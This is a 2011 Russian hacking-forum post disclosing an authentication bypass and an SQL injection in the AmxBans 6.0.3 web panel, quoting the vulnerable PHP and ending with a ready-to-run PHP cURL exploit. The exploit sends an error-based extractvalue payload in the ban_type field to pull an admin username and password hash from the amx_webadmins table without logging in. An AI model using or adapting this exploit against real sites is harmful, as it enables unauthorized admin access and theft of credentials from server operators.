Показать сообщение отдельно
Старый 28.11.2011, 12:31   #5
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Версия: 6.0.3 f2 (Mar 12, 2011)
-> Возможность банить или кикать с сервера, не имея прав администратора.

[path]/admin.php
[path]/include/module/admin/%admin_module%.php
PHP код:
.....
if(!
$_SESSION["loggedin"]) {
    
header("Location:index.php");
}
..... 
-> SQL injection.

[path]/include/module/admin/admin_ban_add_online.php

PHP код:
.....

if(!
$_SESSION["loggedin"]) {
    
header("Location:index.php");
}

.....

if(isset(
$_POST["ban"]) && $servers_array[$sid]["address"] != "" && !$user_msg) {
        
//get bantime
        
$time=($pl_perm)?0:(($pl_ban_length >= 0) ? $pl_ban_length 0);
        
//get and check the ban type
        
$type $_POST["ban_type"];
        
        if(!
$steamid_valid && $type=="S"$user_msg="_STEAMIDINVALID";
        if(!
$ip_valid && $type=="SI"$user_msg="_IPINVALID";
        
        if(
$pl_silent) {
            
//if banning silent, only add the ban to the db
            
if(!$user_msg) {
                
$query mysql_query("INSERT INTO `".$config->db_prefix."_bans` 
                        (`player_ip`,`player_id`,`player_nick`,`admin_nick`,`admin_id`,`ban_type`,`ban_reason`,`ban_created`,`ban_length`,`server_name`) 
                        VALUES 
                        ('"
.$pl_ip."','".$pl_steamid."','".$pl_name."','".$_SESSION["uname"]."','".$_SESSION["uname"]."','".$type."','".$pl_reason."',UNIX_TIMESTAMP(),'".$pl_ban_length."','website')
                        "
) or die (mysql_error());
                
$user_msg='_BANADDSUCCESS';
                
log_to_db("Add ban online","nick: ".$pl_name." <".$pl_steamid."><".$pl_ip."> banned for ".$pl_ban_length." minutes");    
            } 
EXPLOIT

PHP код:
<?php 
#by SeNaP for rDot.org 2011

$url "http://site.com/amxbans/";

$query_string = array(
                        
'ban'             => 1,
                        
'player_name'     => "player",
                        
'player_uid'     => 1,
                        
'player_ip'        => "127.0.0.1",
                        
'user_reason'    => "wh",
                        
'ban_length'    => 300,
                        
'ban_type'        => "'+(1 AND extractvalue(1,concat(0x3a,(SELECT concat_ws(0x3a, `username`, `password`) FROM `amx_webadmins` LIMIT 1))))+'"
                      
);

$ch curl_init($url.'admin.php?site=ban_add_online');
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDShttp_build_query($query_string));
curl_setopt($chCURLOPT_RETURNTRANSFER0);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
curl_exec($ch);
curl_close($ch);    
?>
SeNaP вне форума   Ответить с цитированием